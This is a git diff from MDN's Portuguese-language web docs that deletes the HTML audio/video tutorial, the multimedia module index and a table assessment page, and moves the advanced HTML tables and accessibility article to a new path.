diff --git "a/files/pt-pt/learn/html/multimedia_e_integracao/conteudo_de_audio_e_v\303\255deo/index.html" "b/files/pt-pt/learn/html/multimedia_e_integracao/conteudo_de_audio_e_v\303\255deo/index.html" deleted file mode 100644 index 2ab6414459..0000000000 --- "a/files/pt-pt/learn/html/multimedia_e_integracao/conteudo_de_audio_e_v\303\255deo/index.html" +++ /dev/null @@ -1,369 +0,0 @@ ---- -title: Conteúdo de áudio e vídeo -slug: Learn/HTML/Multimedia_e_integracao/Conteudo_de_audio_e_vídeo -tags: - - Artigo - - Audio - - Guía - - HTML - - Principiante - - Video - - faixa - - legendas -translation_of: Learn/HTML/Multimedia_and_embedding/Video_and_audio_content ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/HTML/Multimedia_and_embedding/Images_in_HTML", "Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies", "Learn/HTML/Multimedia_and_embedding")}}
- -

Now that we are comfortable with adding simple images to a webpage, the next step is to start adding video and audio players to your HTML documents! In this article we'll look at doing just that with the {{htmlelement("video")}} and {{htmlelement("audio")}} elements; we'll then finish off by looking at how to add captions/subtitles to your videos.

- - - - - - - - - - - - -
Pré-requisitos:Basic computer literacy, basic software installed, basic knowledge of working with files, familiarity with HTML fundamentals (as covered in Getting started with HTML) and Images in HTML.
Objetivo:To learn how to embed video and audio content into a webpage, and add captions/subtitles to video.
- -

Áudio e vídeo na Web

- -

Web developers have wanted to use video and audio on the Web for a long time, ever since the early 2000s, when we started to have bandwidth fast enough to support any kind of video (video files are much larger than text or even images.) In the early days, native web technologies such as HTML didn't have the ability to embed video and audio on the Web, so proprietary (or plugin-based) technologies like Flash (and later, Silverlight) became popular for handling such content. This kind of technology worked ok, but it had a number of problems, including not working well with HTML/CSS features, security issues, and accessibility issues.

- -

A native solution would solve much of this if done right. Fortunately, a few years later the {{glossary("HTML5")}} specification had such features added, with the {{htmlelement("video")}} and {{htmlelement("audio")}} elements, and some shiny new {{Glossary("JavaScript")}} {{Glossary("API","APIs")}} for controlling them. We'll not be looking at JavaScript here — just the basic foundations that can be achieved with HTML.

- -

We won't be teaching you how to produce audio and video files — that requires a completely different skillset. We have provided you with sample audio and video files and example code for your own experimentation, in case you are unable to get hold of your own.

- -
-

Nota: Before you begin here, you should also know that there are a quite a few {{glossary("OVP","OVPs")}} (online video providers) like YouTube, Dailymotion, and Vimeo, and online audio providers like Soundcloud. Such companies offer a convenient, easy way to host and consume videos, so you don't have to worry about the enormous bandwidth consumption. OVPs even usually offer ready-made code for embedding video/audio in your webpages. If you go that route, you can avoid some of the difficulties we discuss in this article. We'll be discussing this kind of service a bit more in the next article.

-
- -

O elemento <video>

- -

The {{htmlelement("video")}} element allows you to embed a video very easily. A really simple example looks like this:

- -
<video src="rabbit320.webm" controls>
-  <p>Your browser doesn't support HTML5 video. Here is a <a href="rabbit320.webm">link to the video</a> instead.</p>
-</video>
- -

The features of note are:

- -
-
{{htmlattrxref("src","video")}}
-
In the same way as for the {{htmlelement("img")}} element, the src (source) attribute contains a path to the video you want to embed. It works in exactly the same way.
-
{{htmlattrxref("controls","video")}}
-
Users must be able to control video and audio playback (it's especially critical for people who have epilepsy.) You must either use the controls attribute to include the browser's own control interface, or build your interface using the appropriate JavaScript API. At minimum, the interface must include a way to start and stop the media, and to adjust the volume.
-
The paragraph inside the <video> tags
-
This is called fallback content — this will be displayed if the browser accessing the page doesn't support the <video> element, allowing us to provide a fallback for older browsers. This can be anything you like; in this case we've provided a direct link to the video file, so the user can at least access it some way regardless of what browser they are using.
-
- -

The embedded video will look something like this:

- -

A simple video player showing a video of a small white rabbit

- -

You can try the example live here (see also the source code.)

- -

Suporte para múltiplos formatos

- -

There's a problem with the above example, which you may have noticed already if you've tried to access the live link above with a browser like Safari or Internet Explorer. The video won't play! This is because different browsers support different video (and audio) formats.

- -

Let's go through the terminology quickly. Formats like MP3, MP4 and WebM are called container formats. They contain different parts that make up the whole song or video — such as an audio track, a video track (in the case of video), and metadata to describe the media being presented.

- -

The audio and video tracks are also in different formats, for example:

- - - -

An audio player will tend to play an audio track directly, e.g. an MP3 or Ogg file. These don't need containers.

- -
-

Nota: It is not quite that simple, as you can see from our audio-video codec compatibility table. In addition, many mobile platform browsers can play an unsupported format by handing it off to the underlying system's media player to play. But this will do for now.

-
- -

The above formats exist to compress video and audio into manageable files (raw video and audio is very large). Browsers contain different {{Glossary("Codec","Codecs")}}, like Vorbis or H.264, which are used to convert the compressed sound and video into binary digits and back. As indicated above, browsers unfortunately don't all support the same codecs, so you will have to provide several files for each media production. If you're missing the right codec to decode the media, it just won't play.

- -
-

Nota: You might be wondering why this situation exists. MP3 (for audio) and MP4/H.264 (for video) are both widely supported, and good quality. However, they are also patent encumbered — American patents cover MP3 until at least 2017, and H.264 until 2027 at the earliest, meaning that browsers that don't hold the patent have to pay huge sums of money to support these formats. In addition, many people avoid restricted software on principle, in favour of open formats. This is why we have to provide multiple formats for different browsers.

-
- -

So how do we do this? Take a look at the following updated example (try it live here, also):

- -
<video controls>
-  <source src="rabbit320.mp4" type="video/mp4">
-  <source src="rabbit320.webm" type="video/webm">
-  <p>Your browser doesn't support HTML5 video. Here is a <a href="rabbit320.mp4">link to the video</a> instead.</p>
-</video>
- -

Here we've taken the src attribute out of the actual <video> tag, and instead included separate {{htmlelement("source")}} elements that point to their own sources. In this case the browser will go through the <source> elements and play the first one that it has the codec to support. Including WebM and MP4 sources should be enough to play your video on most platforms and browsers these days.

- -

Each <source> element also has a type attribute. This is optional, but it is advised that you include them — they contain the {{glossary("MIME type","MIME types")}} of the video files, and browsers can read these and immediately skip videos they don't understand. If they are not included, browsers will load and try to play each file until they find one that works, taking even more time and resources.

- -
-

Nota: Our article on supported media formats contains some common {{glossary("MIME type","MIME types")}}.

-
- -

Outras funcionalidades <video>

- -

There are a number of other features you can include on an HTML5 video. Take a look at our third example, below:

- -
<video controls width="400" height="400"
-       autoplay loop muted
-       poster="poster.png">
-  <source src="rabbit320.mp4" type="video/mp4">
-  <source src="rabbit320.webm" type="video/webm">
-  <p>Your browser doesn't support HTML5 video. Here is a <a href="rabbit320.mp4">link to the video</a> instead.</p>
-</video>
-
- -

This will give us a output looking something like this:

- -

A video player showing a poster image before it plays. The poster image says HTML5 video example, OMG hell yeah!The new features are:

- -
-
{{htmlattrxref("width","video")}} and {{htmlattrxref("height","video")}}
-
You can control the video size either with these attributes or with {{Glossary("CSS")}}. In both cases, videos maintain their native width-height ratio — known as the aspect ratio. If the aspect ratio is not maintained by the sizes you set, the video will grow to fill the space horizontally, and the unfilled space will just be given a solid background color by default.
-
{{htmlattrxref("autoplay","video")}}
-
This attribute makes the audio or video start playing right away while the rest of the page is loading. You are advised not to use autoplaying video (or audio) on your sites, because users can find it really annoying.
-
{{htmlattrxref("loop","video")}}
-
This attribute makes the video (or audio) start playing again whenever it finishes. This can also be annoying, so only use if really necessary.
-
{{htmlattrxref("muted","video")}}
-
This attribute causes the media to play with the sound turned off by default.
-
{{htmlattrxref("poster","video")}}
-
This attribute takes as its value the URL of an image, which will be displayed before the video is played. It is intended to be used for a splash or advertising screen.
-
{{htmlattrxref("preload","video")}}
-
-

this attribute is used in the element for buffering large files. It can take one of 3 values:

- -
    -
  • "none" does not buffer the file
  • -
  • "auto" buffers the media file
  • -
  • "metadata" buffers only the metadata for the file
  • -
-
-
- -

You can find the above example available to play live on Github (also see the source code.) Note that we haven't included the autoplay attribute in the live version — if the video starts to play as soon as the page loads, you don't get to see the poster!

- -

O elemento <audio>

- -

The {{htmlelement("audio")}} element works in exactly the same way as the {{htmlelement("video")}} element, with a few small differences as outlined below. A typical example might look like so:

- -
<audio controls>
-  <source src="viper.mp3" type="audio/mp3">
-  <source src="viper.ogg" type="audio/ogg">
-  <p>Your browser doesn't support HTML5 audio. Here is a <a href="viper.mp3">link to the audio</a> instead.</p>
-</audio>
- -

This produces something like the following in a browser:

- -

A simple audio player with a play button, timer, volume control, and progress bar

- -
-

Nota: You can run the audio demo live on Github (also see the audio player source code.)

-
- -

This takes up less space than a video player, as there is no visual component — you just need to display controls to play the audio. Other differences from HTML5 video are as follows:

- - - -

Other than this, <audio> supports all the same features as <video> — review the above sections for more information about them.

- -

Faixas de texto da exibição de vídeo

- -

Now we'll discuss a slightly more advanced concept that is really useful to know about. Many people can't or don't want to hear the audio/video content they find on the Web, at least at certain times. For example:

- - - -

Wouldn't it be nice to be able to provide these people with a transcript of the words being spoken in the audio/video? Well, thanks to HTML5 video you can, with the WebVTT format and the {{htmlelement("track")}} element.

- -
-

Nota: "Transcribe" and "transcript" mean to write down spoken words as text.

-
- -

WebVTT is a format for writing text files containing multiple strings of text along with metadata such as what time in the video you want each text string to be displayed, and even limited styling/positioning information. These text strings are called cues, and you can display different types for different purposes, the most common being:

- -
-
subtitles
-
Translations of foreign material, for people who don't understand the words spoken in the audio.
-
captions
-
Synchronized transcriptions of dialog or descriptions of significant sounds, to let people who can't hear the audio understand what is going on.
-
timed descriptions
-
Text for conversion into audio, to serve people with visual impairments.
-
- -

A typical WebVTT file will look something like this:

- -
WEBVTT
-
-1
-00:00:22.230 --> 00:00:24.606
-This is the first subtitle.
-
-2
-00:00:30.739 --> 00:00:34.074
-This is the second.
-
-  ...
-
- -

To get this displayed along with the HTML media playback, you need to:

- -
    -
  1. Save it as a .vtt file in a sensible place.
  2. -
  3. Link to the .vtt file with the {{htmlelement("track")}} element. <track> should be placed within <audio> or <video>, but after all <source> elements. Use the {{htmlattrxref("kind","track")}} attribute to specify whether the cues are subtitles, captions, or descriptions. Further, use {{htmlattrxref("srclang","track")}} to tell the browser what language you have written the subtitles in.
  4. -
- -

Here's an example:

- -
<video controls>
-    <source src="example.mp4" type="video/mp4">
-    <source src="example.webm" type="video/webm">
-    <track kind="subtitles" src="subtitles_en.vtt" srclang="en">
-</video>
- -

This will result in a video that has subtitles displayed, kind of like this:

- -

Video player with stand controls such as play, stop, volume, and captions on and off. The video playing shows a scene of a man holding a spear-like weapon, and a caption reads "Esta hoja tiene pasado oscuro."

- -

For more details, please read Adding captions and subtitles to HTML5 video. You can find the example that goes along with this article on Github, written by Ian Devlin (see the source code too.) This example uses some JavaScript to allow users to choose between different subtitles. Note that to turn the subtitles on, you need to press the "CC" button and select an option — English, Deutsch, or Español. 

- -
-

Nota: Text tracks also help you with {{glossary("SEO")}}, since search engines especially thrive on text. Text tracks even allow search engines to link directly to a spot partway through the video.

-
- -

Aprendizagem ativa: incorporar o seu próprio áudio e vídeo

- -

For this active learning, we'd (ideally) like you to go out into the world and record some of your own video and audio — most phones these days allow you to record audio and video very easily, and provided you can transfer it on to your computer, you can use it. You may have to do some conversion to end up with a WebM and MP4 in the case of video, and an MP3 and Ogg in the case of audio, but there are enough programs out there to allow you to do this without too much trouble, such as Miro Video Converter and Audacity. We'd like you to have a go!

- -

If you are unable to source any video or audio, then you can feel free to use our sample audio and video files to carry out this exercise. You can also use our sample code for reference.

- -

We would like you to:

- -
    -
  1. Save your audio and video files in a new directory on your computer.
  2. -
  3. Create a new HTML file in the same directory, called index.html.
  4. -
  5. Add <audio> and <video> elements to the page; make them display the default browser controls.
  6. -
  7. Give both of them <source> elements so that browsers will find the audio format they support best and load it. These should include type attributes.
  8. -
  9. Give the <video> element a poster that will be displayed before the video starts to be played. Have fun creating your own poster graphic.
  10. -
- -

For an added bonus, you could try researching text tracks, and work out how to add some captions to your video.

- -

Resumo

- -

And that's a wrap; we hope you had fun playing with video and audio in web pages! In the next article, we'll look at other ways of embedding content on the Web, using technologies like {{htmlelement("iframe")}} and {{htmlelement("object")}}.

- -

Consulte também

- - - -

{{PreviousMenuNext("Learn/HTML/Multimedia_and_embedding/Images_in_HTML", "Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies", "Learn/HTML/Multimedia_and_embedding")}}

- -
-
- - - -
- - - - - -
diff --git a/files/pt-pt/learn/html/multimedia_e_integracao/index.html b/files/pt-pt/learn/html/multimedia_e_integracao/index.html deleted file mode 100644 index 724e0ca3f5..0000000000 --- a/files/pt-pt/learn/html/multimedia_e_integracao/index.html +++ /dev/null @@ -1,69 +0,0 @@ ---- -title: Multimédia e integração -slug: Learn/HTML/Multimedia_e_integracao -tags: - - Aprender - - Audio - - Avaliação - - CodingScripting - - Flash - - Guía - - HTML - - Imagens - - Landing - - Principiante - - Responsivo - - SVG - - Video - - iframes - - mapas de imagem -translation_of: Learn/HTML/Multimedia_and_embedding ---- -

{{LearnSidebar}}

- -

Nós já vimos muito texto até agora neste curso, mas a Web seria realmente chata se se utilizasse apenas texto. Vamos começar a ver como dar vida à Web, com conteúdo mais interessante! Este módulo explora como utilizar HTML para incluir multimédia nas suas páginas da Web, incluindo os modos diferentes em que as imagens podem ser incluídas, e como incorporar vídeo, áudio e até páginas da Web completas.

- -

Pré-requisitos

- -

Antes de iniciar este módulo, deverá ter um conhecimento razoável dos conceitos básicos de HTML, como anteriormente abordado em Introdução ao HTML. Se ainda não leu este módulo (ou qualquer coisa similar), leia-o primeiro, e depois volte aqui!

- -
-

Nota: If you are working on a computer/tablet/other device where you don't have the ability to create your own files, you could try out (most of) the code examples in an online coding program such as JSBin or Thimble.

-
- -

Guias

- -

This module contains the following articles, which will take you through all the fundamentals of embedding multimedia on webpages.

- -
-
Imagens em HTML
-
There are other types of multimedia to consider, but it is logical to start with the humble {{htmlelement("img")}} element, used to embed a simple image in a webpage. In this article we'll look at how to use it in more depth, including basics, annotating it with captions using {{htmlelement("figure")}}, and how it relates to CSS background images.
-
Conteúdo de vídeo e de áudio
-
Next, we'll look at how to use the HTML5 {{htmlelement("video")}} and {{htmlelement("audio")}} elements, to embed video and audio on our pages; including basics, providing access to different file formats to different browsers, adding captions and subtitles, and how to add fallbacks for older browsers.
-
De <object> para <iframe> — outras tecnologias de integração
-
At this point we'd like to take somewhat of a sideways step, looking at a couple of elements that allow you to embed a wide variety of content types into your webpages: the {{htmlelement("iframe")}}, {{htmlelement("embed")}} and {{htmlelement("object")}} elements. <iframe>s are for embedding other web pages, and the other two allow you to embed PDFs, SVG, and even Flash — a technology on its way out, but which you may still see semi-regularly.
-
Adicionar gráficos de vetor à Web
-
Vector graphics can be very useful in certain situations. Unlike regular formats like PNG/JPG, they don't distort/pixelate when zoomed in — they can remain smooth when scaled. This article introduces you to what vector graphics are, and how to include the popular {{glossary("SVG")}} format in web pages.
-
Imagens responsivas
-
With so many different device types now able to browse the Web — from mobile phones to desktop computers — an essential concept to master in the modern web world is responsive design. This refers to the creation of webpages that can automatically change their features to suit different screen sizes, resolutions, etc. This will be looked at in much more detail in a CSS module later on, but for now we'll look at the tools HTML has available to create responsive images, including the {{htmlelement("picture")}} element.
-
- -

Avaliações

- -

The following assessments will test your understanding of the HTML basics covered in the guides above:

- -
-
Página de boas-vindas da Mozilla
-
In this assessment, we'll test your knowledge of some of the techniques discussed in this module's articles, getting you to add some images and video to a funky splash page all about Mozilla!
-
- -

Consulte também

- -
-
Adicionar um mapa clicável no topo de uma imagem
-
Image maps provide a mechanism to make different parts of an image link to different places (think of a map, linking through to further information about each different country you click on.) This technique can sometimes be useful.
-
Literacia da Web - básicos 2
-
-

An excellent Mozilla foundation course that explores and tests some of the skills talked about in the Multimedia and embedding module. Dive deeper into the basics of composing webpages, designing for accessibility, sharing resources, using online media, and working open (meaning that your content is freely available, and shareable by others).

-
-
diff --git a/files/pt-pt/learn/html/tables/advanced/index.html b/files/pt-pt/learn/html/tables/advanced/index.html new file mode 100644 index 0000000000..79f6bf801b --- /dev/null +++ b/files/pt-pt/learn/html/tables/advanced/index.html @@ -0,0 +1,538 @@ +--- +title: HTML - funcionalidades avançadas de tabela e acessibilidade +slug: Learn/HTML/Tables/Avancada +tags: + - Acessibilidade + - Aprender + - Artigo + - Avançado + - Cabeçalhos + - HTML + - Headers + - Principiante + - Resumo + - caption + - incorporar + - legenda + - tabela +translation_of: Learn/HTML/Tables/Advanced +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/HTML/Tables/Basics", "Learn/HTML/Tables/Structuring_planet_data", "Learn/HTML/Tables")}}
+ +

No segundo artigo neste módulo, nós vamos ver algumas funcionalidades mais avançadas das tabelas HTML tables — tais como legendas/resumos e agrupar as suas filas no cabçalho da taela, secções de corpo e rodapé — bem como, ver a acessibilidade das tabelas para os utilizadores deficientes visuais.

+ + + + + + + + + + + + +
Pré-requisitos:The basics of HTML (see Introduction to HTML).
Objetivo:To learn about more advanced HTML table features, and the accessibility of tables.
+ +

Adicionar uma legenda à sua tabela com <caption>

+ +

You can give your table a caption by putting it inside a {{htmlelement("caption")}} element and nesting that inside the {{htmlelement("table")}} element. You should put it just below the opening <table> tag.

+ +
<table>
+  <caption>Dinosaurs in the Jurassic period</caption>
+
+  ...
+</table>
+ +

As you can infer from the brief example above, the caption is meant to contain a description of the table contents. This is useful for all readers wishing to get a quick idea of whether the table is useful to them as they scan the page, but particularly for blind users. Rather than have a screenreader read out the contents of many cells just to find out what the table is about, he or she can rely on a caption and then decide whether or not to read the table in greater detail.

+ +

A caption is placed directly beneath the <table> tag.

+ +
+

Nota: The {{htmlattrxref("summary","table")}} attribute can also be used on the <table> element to provide a description — this is also read out by screenreaders. We'd recommend using the <caption> element instead, however, as summary is {{glossary("deprecated")}} by the HTML5 spec, and can't be read by sighted users (it doesn't appear on the page.)

+
+ +

Aprendizagem ativa: Adicionar uma caption

+ +

Let's try this out, revisiting an example we first met in the previous article.

+ +
    +
  1. Open up your language teacher's school timetable from the end of HTML Table Basics, or make a local copy of our timetable-fixed.html file.
  2. +
  3. Add a suitable caption for the table.
  4. +
  5. Save your code and open it in a browser to see what it looks like.
  6. +
+ +
+

Nota: You can find our version on GitHub — see timetable-caption.html (see it live also).

+
+ +

Adding structure with <thead>, <tfoot>, and <tbody>

+ +

As your tables get a bit more complex in structure, it is useful to give them more structural definition. One clear way to do this is by using {{htmlelement("thead")}}, {{htmlelement("tfoot")}}, and {{htmlelement("tbody")}}, which allow you to mark up a header, footer, and body section for the table.

+ +

These elements don't make the table any more accessible to screenreader users, and don't result in any visual enhancement on their own. They are however very useful for styling and layout — acting as useful hooks for adding CSS to your table. To give you some interesting examples, in the case of a long table you could make the table header and footer repeat on every printed page, and you could make the table body display on a single page and have the contents available by scrolling up and down.

+ +

To use them:

+ + + +
+

Note: <tbody> is always included in every table, implicitly if you don't specify it in your code. To check this, open up one of your previous examples that doesn't include <tbody> and look at the HTML code in your browser developer tools — you will see that the browser has added this tag for you. You might wonder why you ought to bother including it at all — you should, because it gives you more control over your table structure and styling.

+
+ +

Aprendizagem ativa: Adicionar uma estrutura de tabela

+ +

Let's put these new elements into action.

+ +
    +
  1. First of all, make a local copy of spending-record.html and minimal-table.css in a new folder.
  2. +
  3. Try opening it in a browser — You'll see that it looks OK, but it could stand to be improved. The "SUM" row that contains a summation of the spent amounts seems to be in the wrong place, and there are some details missing from the code.
  4. +
  5. Put the obvious headers row inside a <thead> element, the "SUM" row inside a <tfoot> element, and the rest of the content inside a <tbody> element.
  6. +
  7. Save and refresh, and you'll see that adding the <tfoot> element has caused the "SUM" row to go down to the bottom of the table.
  8. +
  9. Next, add a {{htmlattrxref("colspan","td")}} attribute to make the "SUM" cell span across the first four columns, so the actual number appears at the bottom of the "Cost" column.
  10. +
  11. Let's add some simple extra styling to the table, to give you an idea of how useful these elements are for applying CSS. Inside the head of your HTML document, you'll see an empty {{htmlelement("style")}} element. Inside this element, add the following lines of CSS code: +
    tbody {
    +  font-size: 90%;
    +  font-style: italic;
    +}
    +
    +tfoot {
    +  font-weight: bold;
    +}
    +
    +
  12. +
  13. Save and refresh, and have a look at the result. If the <tbody> and <tfoot> elements weren't in place, you'd have to write much more complicated selectors/rules to apply the same styling.
  14. +
+ +
+

Nota: We don't expect you to fully understand the CSS right now. You'll learn more about this when you go through our CSS modules (Introduction to CSS is a good place to start; we also have an article specifically on styling tables).

+
+ +

Your finished table should look something like the following:

+ + + +

{{ EmbedLiveSample('Hidden_example', '100%', 300) }}

+ +
+

Nota: You can also find it on Github as spending-record-finished.html (see it live also).

+
+ +

Incorporar Tabelas

+ +

It is possible to nest a table inside another one, as long as you include the complete structure, including the <table> element. This is generally not really advised, as it makes the markup more confusing and less accessible to screenreader users, and in many cases you might as well just insert extra cells/rows/columns into the existing table. It is however sometimes necessary, for example if you want to import content easily from other sources.

+ +

The following markup shows a simple nested table:

+ +
<table id="table1">
+  <tr>
+    <th>title1</th>
+    <th>title2</th>
+    <th>title3</th>
+  </tr>
+  <tr>
+    <td id="nested">
+      <table id="table2">
+        <tr>
+          <td>cell1</td>
+          <td>cell2</td>
+          <td>cell3</td>
+        </tr>
+      </table>
+    </td>
+    <td>cell2</td>
+    <td>cell3</td>
+  </tr>
+  <tr>
+    <td>cell4</td>
+    <td>cell5</td>
+    <td>cell6</td>
+  </tr>
+</table>
+ +

The output of which looks something like this:

+ + + + + + + + + + + + + + + + + + + +
title1title2title3
+ + + + + + + + +
cell1cell2cell3
+
cell2cell3
cell4cell5cell6
+ +

Tabelas para utilizadores deficientes visuais

+ +

Let's recap briefly on how we use data tables. A table can be a handy tool, for giving us quick access to data and allowing us to look up different values. For example, It takes only a short glance at the table below to find out how many rings were sold in Gent last August. To understand its information we make visual associations between the data in this table and its column and/or row headers.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Items Sold August 2016
  ClothesAccessories
  TrousersSkirtsDressesBraceletsRings
BelgiumAntwerp5622437223
Gent4618506115
Brussels5127386928
The NetherlandsAmsterdam8934698538
Utrecht8012433619
+ +

But what if you cannot make those visual associations? How then can you read a table like the above? Visually impaired people often use a screenreader that reads out information on web pages to them. This is no problem when you're reading plain text but interpreting a table can be quite a challenge for a blind person. Nevertheless, with the proper markup we can replace visual associations by programmatic ones.

+ +

This section of the article provides further techniques for making tables as accessible as possible.

+ +

Utilizar os cabeçalhos de coluna e linha

+ +

Screenreaders will identify all headers and use them to make programmatic associations between those headers and the cells they relate to. The combination of column and row headers will identify and interpret the data in each cell so that screenreader user can interpret the table similarly to how a sighted user does.

+ +

We already covered headers in our previous article — see Adding headers with <th> elements.

+ +

O atributo de scope

+ +

A new topic for this article is the {{htmlattrxref("scope","th")}} attribute, which can be added to the <th> element to tell screenreaders exactly what cells the header is a header for — is it a header for the row it is in, or the column, for example? Looking back to our spending record example from earlier on, you could unambiguously define the column headers as column headers like this:

+ +
<thead>
+  <tr>
+    <th scope="col">Purchase</th>
+    <th scope="col">Location</th>
+    <th scope="col">Date</th>
+    <th scope="col">Evaluation</th>
+    <th scope="col">Cost (€)</th>
+  </tr>
+</thead>
+ +

And each row could have a header defined like this (if we added row headers as well as column headers):

+ +
<tr>
+  <th scope="row">Haircut</th>
+  <td>Hairdresser</td>
+  <td>12/09</td>
+  <td>Great idea</td>
+  <td>30</td>
+</tr>
+ +

Screenreaders will recognize markup structured like this, and allow their users to read out the entire column or row at once, for example.

+ +

scope has two more possible values — colgroup and rowgroup. these are used for headings that sit over the top of multiple columns or rows. If you look back at the "Items sold..." table at the start of this section of the article, you'll see that the "Clothes" cell sits above the "Trousers", "Skirts", and "Dresses" cells. All of these cells should be marked up as headers (<th>), but "Clothes" is a heading that sits over the top and defines the other three subheadings. "Clothes" therefore should get an attribute of scope="colgroup", whereas the others would get an attribute of scope="col".

+ +

A identificação e atributos de cabeçalhos

+ +

An alternative to using the scope attribute is to use {{htmlattrxref("id")}} and {{htmlattrxref("headers", "td")}} attributes to create associations between headers and cells. The way they are used is as follows:

+ +
    +
  1. You add a unique id to each <th> element.
  2. +
  3. You add a headers attribute to each <td> element. Each headers attribute has to contain a list of the ids of all the <th> elements that act as a header for that cell, separated by spaces.
  4. +
+ +

This gives your HTML table an explicit definition of the position of each cell in the table, defined by the header(s) for each column and row it is part of, kind of like a spreadsheet. For it to work well, the table really needs both column and row headers.

+ +

Returning to our spending costs example, the previous two snippets could be rewritten like this:

+ +
<thead>
+  <tr>
+    <th id="purchase">Purchase</th>
+    <th id="location">Location</th>
+    <th id="date">Date</th>
+    <th id="evaluation">Evaluation</th>
+    <th id="cost">Cost (€)</th>
+  </tr>
+</thead>
+<tbody>
+<tr>
+  <th id="haircut">Haircut</th>
+  <td headers="location haircut">Hairdresser</td>
+  <td headers="date haircut">12/09</td>
+  <td headers="evaluation haircut">Great idea</td>
+  <td headers="cost haircut">30</td>
+</tr>
+
+  ...
+
+</tbody>
+ +
+

Nota: This method creates very precise associations between headers and data cells but it uses a lot more markup and does not leave any room for errors.  The scope approach is usually enough for most tables.

+
+ +

Aprendizagem ativa: manipular scope e cabeçalhos

+ +
    +
  1. For this final exercise, we'd like you to first make local copies of items-sold.html and minimal-table.css, in a new directory.
  2. +
  3. Now try adding in the appropriate scope attributes to make this table more appropriate.
  4. +
  5. Finally, try making another copy of the starter files, and this time make the table more accessible using id and headers attributes.
  6. +
+ +
+

Nota: You can check your work against our finished examples — see items-sold-scope.html (also see this live) and items-sold-headers.html (see this live too).

+
+ +

Resumo

+ +

There are a few other things you could learn about table HTML, but we have really given all you need to know at this moment in time. At this point, you might want to go and learn about styling HTML tables — see Styling Tables.

+ +
{{PreviousMenuNext("Learn/HTML/Tables/Basics", "Learn/HTML/Tables/Structuring_planet_data", "Learn/HTML/Tables")}}
+ +
+ + + + + +
diff --git a/files/pt-pt/learn/html/tables/avaliacao_estruturar_os_dados_dos_planetas/index.html b/files/pt-pt/learn/html/tables/avaliacao_estruturar_os_dados_dos_planetas/index.html deleted file mode 100644 index 70fbf3601a..0000000000 --- a/files/pt-pt/learn/html/tables/avaliacao_estruturar_os_dados_dos_planetas/index.html +++ /dev/null @@ -1,151 +0,0 @@ ---- -title: 'Avaliação: Estruturar os dados dos planetas' -slug: Learn/HTML/Tables/Avaliacao_Estruturar_os_dados_dos_planetas -translation_of: Learn/HTML/Tables/Structuring_planet_data ---- -
{{LearnSidebar}}
- -
{{PreviousMenu("Learn/HTML/Tables/Advanced", "Learn/HTML/Tables")}}
- -

Na nossa avaliação de tabela, nós forncemos-lhe alguns dados dos planetas no nosso sistema solar, para que possa estruturá-los numa tabela HTML .

- - - - - - - - - - - - -
Pré-requisitos:Before attempting this assessment you should have already worked through all the articles in this module.
Objetivo:To test comprehension of HTML tables and associated features.
- -

Ponto inicial

- -

To get this assessment started, make local copies of blank-template.html, minimal-table.css, and planets-data.txt in a new directory in your local computer.

- -
-

Note: Alternatively, you could use a site like JSBin or Thimble to do your assessment. You could paste the HTML, CSS and JavaScript into one of these online editors. If the online editor you are using doesn't have separate JavaScript/CSS panels, feel free to put them inline <script>/<style> elements inside the HTML page.

-
- -

Sumário do projeto

- -

You are working at a school; currently your students are studying the planets of our solar system, and you want to provide them with an easy-to-follow set of data to look up facts and figures about the planets. An HTML data table would be ideal — you need to take the raw data you have available and turn it into a table, following the steps below.

- -

The finished table should look like this:

- -

- -

You can also see the example live here (no looking at the source code — don't cheat!)

- - - -

Passos para concluir

- -

The following steps describe what you need to do to complete the table example. All the data you'll need is contained in the planets-data.txt file. If you have trouble visualising the data, look at the live example above, or try drawing a diagram.

- -
    -
  1. Open your copy of blank-template.html, and start the table off by giving it an outer container, a table header, and a table body. You don't need a table footer for this example.
  2. -
  3. Add the provided caption to your table.
  4. -
  5. Add a row to the table header containing all the column headers.
  6. -
  7. Create all the content rows inside the table body, remembering to make all the row headings into headings semantically.
  8. -
  9. Make sure all the content is inserted into the right cells — in the raw data, each row of planet data is shown next to its associated planet.
  10. -
  11. Add attributes to make the row and column headers unambiguously associated with the rows, columns, or rowgroups that they act as headings for.
  12. -
  13. Add a black border just around the column that contains all the planet name row headers.
  14. -
- -

Dicas e sugestões

- - - -

Avaliação

- -

If you are following this assessment as part of an organized course, you should be able to give your work to your teacher/mentor for marking. If you are self-learning, then you can get the marking guide fairly easily by asking on the Learning Area Discourse thread, or in the #mdn IRC channel on Mozilla IRC. Try the exercise first — there is nothing to be gained by cheating!

- -

{{PreviousMenu("Learn/HTML/Tables/Advanced", "Learn/HTML/Tables")}}

- -
- - - - - -
diff --git a/files/pt-pt/learn/html/tables/avancada/index.html b/files/pt-pt/learn/html/tables/avancada/index.html deleted file mode 100644 index 79f6bf801b..0000000000 --- a/files/pt-pt/learn/html/tables/avancada/index.html +++ /dev/null @@ -1,538 +0,0 @@ ---- -title: HTML - funcionalidades avançadas de tabela e acessibilidade -slug: Learn/HTML/Tables/Avancada -tags: - - Acessibilidade - - Aprender - - Artigo - - Avançado - - Cabeçalhos - - HTML - - Headers - - Principiante - - Resumo - - caption - - incorporar - - legenda - - tabela -translation_of: Learn/HTML/Tables/Advanced ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/HTML/Tables/Basics", "Learn/HTML/Tables/Structuring_planet_data", "Learn/HTML/Tables")}}
- -

No segundo artigo neste módulo, nós vamos ver algumas funcionalidades mais avançadas das tabelas HTML tables — tais como legendas/resumos e agrupar as suas filas no cabçalho da taela, secções de corpo e rodapé — bem como, ver a acessibilidade das tabelas para os utilizadores deficientes visuais.

- - - - - - - - - - - - -
Pré-requisitos:The basics of HTML (see Introduction to HTML).
Objetivo:To learn about more advanced HTML table features, and the accessibility of tables.
- -

Adicionar uma legenda à sua tabela com <caption>

- -

You can give your table a caption by putting it inside a {{htmlelement("caption")}} element and nesting that inside the {{htmlelement("table")}} element. You should put it just below the opening <table> tag.

- -
<table>
-  <caption>Dinosaurs in the Jurassic period</caption>
-
-  ...
-</table>
- -

